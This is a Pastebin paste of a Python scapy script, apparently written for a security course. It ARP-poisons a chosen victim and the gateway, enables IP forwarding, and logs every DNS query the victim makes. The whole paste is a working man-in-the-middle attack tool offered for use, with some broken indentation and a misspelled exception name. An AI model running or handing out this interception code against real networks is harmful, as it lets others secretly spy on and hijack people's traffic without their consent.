Advertisement
Guest User

LSNIFF.PY

a guest
Aug 5th, 2013
4,497
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.74 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. from scapy.all import *
  4. import threading
  5. import os
  6. import sys
  7. # ARP poison , dns MITM
  8. # SPSE COURSE CODED BY SPSE 850 ACIDR4IN -->
  9. # COULD DO WITH SOME MORE ERROR HANDLING MAYBE A SERVER FUNCTION TO SERVE YOUR OWN PAGES   
  10. # ALSO POSSIBLY AN SSL STRIP FUNCTION
  11. # 16/2/2013 # CTRL_C KILL ADDED (setDaemon(True))  
  12.  
  13. VIP = raw_input('Please enter the IP address of the victim computer: ')
  14. GW = raw_input('Please enter th IP address of the gateway: ')
  15. IFACE = raw_input('Please enter the name of your interface: ')
  16. print '\nMake sure you are running as root!, and enjoy. '
  17.  
  18. print '\t\t\nPoisoning Victim & Gateway! .. '
  19. os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') #Ensure the victim recieves packets by forwarding them
  20.  
  21. def dnshandle(pkt):
  22.         if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0: #Strip what information you need from the packet capture
  23.             print 'Victim: ' + VIP + ' has searched for: ' + pkt.getlayer(DNS).qd.qname
  24.  
  25.  
  26. def v_poison():
  27.     v = ARP(pdst=VIP, psrc=GW)
  28.     while True:
  29.         try:   
  30.                send(v,verbose=0,inter=1,loop=1)
  31.                 except KeyboardInterupt:                     # Functions constructing and sending the ARP packets
  32.              sys.exit(1)
  33. def gw_poison():
  34.     gw = ARP(pdst=GW, psrc=VIP)
  35.     while True:
  36.         try:
  37.                send(gw,verbose=0,inter=1,loop=1)
  38.         except KeyboardInterupt:
  39.             sys.exit(1)
  40.  
  41. vthread = []
  42. gwthread = []  
  43.  
  44.  
  45. while True: # Threads
  46.        
  47.     vpoison = threading.Thread(target=v_poison)
  48.     vpoison.setDaemon(True)
  49.     vthread.append(vpoison)
  50.     vpoison.start()    
  51.        
  52.     gwpoison = threading.Thread(target=gw_poison)
  53.     gwpoison.setDaemon(True)
  54.     gwthread.append(gwpoison)
  55.     gwpoison.start()
  56.  
  57.    
  58.     pkt = sniff(iface=IFACE,filter='udp port 53',prn=dnshandle)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement